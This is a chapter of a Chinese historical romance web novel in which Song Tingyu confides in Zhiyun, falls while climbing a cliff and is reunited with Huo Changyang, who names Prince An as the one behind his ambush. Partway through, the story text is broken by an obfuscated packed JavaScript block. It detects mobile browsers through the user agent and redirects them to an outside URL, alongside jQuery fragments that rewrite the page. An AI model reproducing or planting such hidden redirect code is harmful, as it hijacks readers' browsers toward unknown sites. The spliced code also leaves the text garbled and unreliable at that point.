宋听雨将芝芸的问题反反复复地斟酌几遍也没想好该怎么回答，或许是一想起他就不知用什么词句来形容又觉得用几个字实在概括不出一个完整的他。
宋听雨张了张嘴，踌躇使得口中无声，最后她还是抿唇说道：“我也不清楚，只知道他不信怪力鬼神恐吓，不服礼教约束，表面看上去坦坦荡荡、为人亲和，但我总觉得他是个不近人情的——他每走一步都是奔着自己的目的出发，不会多管闲事。我这么说又好像不对，毕竟他帮我很多。”
芝芸灿烂嬉笑，“我知道，这叫一两句话没法形容他在你心中的模样。”
宋听雨摇了摇头，“若我告诉你我们经历的一切，你应该就能知道他是怎样的人。可是他藏得太深，我怕我看到的都是他想让我知道的。”
闻言，芝芸立马凑近宋听雨，用期待的目光盯向她。宋听雨偏头瞥了眼，又望向窗外的月色，轻声娓娓道来：“我第一次见他在一个大雪天，他帮我安葬我娘。卖棺材的掌柜觉得他年纪小就想拿冤魂索命一事忽悠他，他就拿官家忌讳鬼神之说来压那厮。我以为他只是不信的怪力乱神，后来我才知晓他不仅不信还特别忌讳鬼神八字这种无根据的说法。”
宋听雨哀恸片刻才继续说道：“第二次见面是在五年之后，我以为他是沦落到与衙内为伍了，但他是有目的而来，后来还把我带走了。我十四岁的及笄生辰便是和他过的，有坛好酒和一轮圆月。那时候我就知道我得离他远些。不然会因日子太过安逸而忘记仇恨。再后来，我以为他只会是我的恩人，没想到他是为了自己的目的将我拽上船的匪徒。”
“那你怎不直接杀了他？我看你脚步轻盈也不像是个弱女子。”
“我只是有力气，但他是有功夫再身而且还有一身蛮力。”宋听雨说着不免垂下长睫，眼底的思索徘徊片刻才肯定开口：“当时的情况，跟他绑在一起才是我继续复仇的前提。没有他，我复仇的路要走得比现在还曲折，甚至可以说毫无希望。”
芝芸似懂非懂地点头，“那后来呢？你怎么喜欢上他的？”
宋听雨叹了口气，忽闪忽闪的星眸满是回味：“我们南下，光是在路上的时间就有四十天。我不会骑马，一路上都是和他同乘一匹。其实他每次将我圈在怀里时我还挺尴尬，但时间一久就好了很多。但他不是，他刚开始一点反应也没有，但到了我和他返程的时候，我每日用余光瞥他，他的脸都是嫣红的。我当时就觉得这个小郎君虽然骗我很多，但也护我很多，我很感谢他，也发自内心地认为有他在身边，我做事能更从容。至于喜欢与否，我确实不清楚。”
芝芸嘟囔道：“想来你也是喜欢的，不然你为何来这里找他？运气差点，掉下来可是会没命的。”
宋听雨没有反驳，但也没肯定。她转身背对芝芸，呢喃出声：“很晚了，睡吧。”
天边正蒙蒙亮时，宋听雨就蹑手蹑脚地起身，整装待发后她便将芝芸的小院收拾整洁——这个村子不需要银两，她也没什么能给芝芸的，只能帮她收拾一下院子。
一切料理清爽后，宋听雨叹了口气，走出院子走后转头细细地将整座房屋收入眼底，却没曾想芝芸缓缓开门——她靠在门框上挥手呐喊：“保重。”
这回宋听雨学乖了没往长河上游走，而是顺着河水流淌的方向一路向下，只不过能走的路有限，很快就被群上遮挡。再往前便无路了，只有湍急的河道。
河水流经此处就变得急迫许多，想来前方的河道可能是垂直而下的瀑布。宋听雨也不惆怅，离开调转方向，朝着一旁的树林就走了进去。
这片树林并非茂密甚至可以说比较稀疏，可能是因为谷底日光不多，树木喜热所以大多比较矮小。宋听雨顺着山岩在林子里走了许久，始终未发现山体有缝隙能通往山外。
既然不能穿过去，那就只有向上爬了。宋听雨来回观察山体的情况，又找了几根藤蔓捆在胳膊和腿上，就算摔下来也不会太疼。
后来宋听雨想着背上的伤还没痊愈，于是她索性将自己的上半身也用藤蔓缠起来。准备完毕后，天已经渐渐朦胧，黄昏的初晕刚刚弥漫。宋听雨赶忙抓紧时间，左脚刚踩稳，右手抓住头顶上方凸起的岩石右脚就已经蹬上另一块岩石。
历经数十次摔倒、爬起、攀登后宋听雨这才明白芝芸讲得完全没错——进来容易，出去做梦！
难得爬上了三米多高的山岩，突然左脚下方的岩石微微松动，吓得宋听雨立马踩上另一块岩石，不料她刚下脚，两只脚下方的岩石全都立刻坠落。
宋听雨双手紧紧扒拉着岩石，不顾手心已经鲜血淋漓，她垂眸望了眼自己距离地面的距离，而后立刻大声呐喊：“救命啊！有没有人啊！”
絮絮叨叨地喊了几声，除了风惹得树干枝叶微微拂动别无他响。
宋听雨可不是个甘愿等死的，她不断地瞅着地面，又咬牙盯向两侧的山壁，若踩不稳左右两边的山体，起码也瞄准了块稍微干净些的地面，就算摔下去也不会被树枝或石子伤着。
三下五除二的功夫，宋听雨一咬牙顺着胳膊荡起的惯性将身子甩向右边，右脚刚碰上石块，左手就划过山岩的棱角，不慎松手。
这下完蛋，只能挨摔了。
就在宋听雨认命时，她突然又想到芝芸说过她村子里有个人也想出去结果跌惨了，到现在还躺在床上不能动弹。她突然有点害怕——这里距离芝芸的村子太远了，如果倒在这里恐怕都没人收尸，就算没跌死，摔残了应该会很疼。她本来是不怕疼的，都怪霍长扬总在她受伤的时候问她疼不疼。
现在还真是有点想他了。
可是触底时并没有传来想象中的疼痛，反而身下发出一阵忍痛的闷哼声。
宋听雨赶忙睁眼起身，她侧身坐在地上，双手撑着地面，被她压在身下的正是方才还在思念的霍长扬——他正嬉皮笑脸地凝视着她。
宋听雨顿时眼泪朦胧，流下满含委屈的泪水。她一拳拳轻捶在霍长扬身上，霍长扬忍不住唇瓣颤抖，他微微起身，小心翼翼地将宋听雨身上的藤蔓解开，又不禁低声问：“疼不疼？”
“想你了。”宋听雨答非所问，不顾霍长扬为她擦泪的手直接勾住他的脖颈吻上了他的唇瓣。
片刻后，宋听雨盯着霍长扬幽怨道：“不是说过妥善为先吗？干嘛这么冲动把自己逼到这个地步？”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15934389|173391||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我的错。”霍长扬说着轻柔地握住宋听雨的手，“但，家国为先，再选一次我还敢。”
宋听雨微微蹙眉，她没再纠结这件事，反而询问原由：“发生什么了？”
霍长扬将宋听雨拉起，他带她走到自己驻扎的地方，眼前是一块成形的木筏和一堆烧成木炭的树枝旁边还堆了几根木头。
“这几天你都住在这？”
霍长扬点了点头就拉着宋听雨坐到地上，随后又从木炭底下翻出几个红薯，“饿不饿？我们一边吃一边说，爬山我试了七八天，出不去，所以我就做了这木筏，之前做过一个太小了，漂到一半就沉了。后来就做了这个大的。刚好明早我们一起出去。”
宋听雨接过霍长扬递来的烤红薯，她没有动，而是一个劲地怜惜地盯着霍长扬。霍长扬咬了口红薯，傻笑着对上宋听雨的眼睛，“我瘦了是不是就更帅了？”
见宋听雨点头，霍长扬笑得更加灿烂，嘴上得意洋洋地说道：“那这下就能配得上你了。”
“说正事。”
霍长扬认同地点了点头，随后就仰头望向远处的黄昏，细数该从何处叙述——
“我本来只是打算在军营里造一造火器传传风声，但后来......刚刚说过了，我们败了嘛。但我不想北雍输，就拿着临时造的几把火器叫上几个同营帐的兄弟趁着夜黑风高偷偷溜去了辽寇的军帐，后来的事你应该知道了。”
宋听雨微微扯了扯嘴角，眼眶通红地问：“那你后来为何消失？”
“挑兄弟的眼光不好，回去的路上被打了，然后跑了一路不小心就掉下来了。”霍长扬说得轻松，宋听雨却一下又一下地轻拍他的手，温柔安慰：“幸好我们现在都活着。”
“对，而且我还知道了那些人是谁的人。”霍长扬说着就看向了宋听雨，而后一字一句道：“安王，赵元幄。”
闻言，宋听雨忍不住蹙眉，青楼一事也是安王主谋的，如今火器一事又有他的掺和，真难想象曾少白一事有没有他的参与。
“后来我跳下来掉到了河里，幸好河中有树干挡住了我，没被冲走还被一个姑娘救了。我醒来后就打算找出路，一直到今日还没出去。”
宋听雨叹息道：“那我既然来这里了，你应该也知道你失踪的消息已经传到东京城了吧。”
见霍长扬点头，宋听雨又长叹抿唇，她本来犹豫要不要将在路上的所见所闻告诉他，最后还是觉得早说出口，他也好早点准备。
“霍长扬，有些人说你叛国了，还说你就算回去也可能成了细作。我和全安他们都不信，全安甚至差点和路人动手，但被我和无影拦下了。你爹娘也都来了边关，他们也在找你。我......我本来只是觉得没你不安心，但我从山壁上掉下来的时候，我就在想要是摔死了，我还希望你给我收尸。”
霍长扬一把搂过宋听雨，低头吻在她的额头，嗔怪道：“听到你的喊声我就跑过来了，我保证过会护着你。而且你之前在衢州城时不是暗戳戳地咒我不得好死吗？那今日我就再当一回菩萨，祝你长命百岁，走在我后面。”
“回去再喝坛王贡酒吧。”
“一起长命百岁。”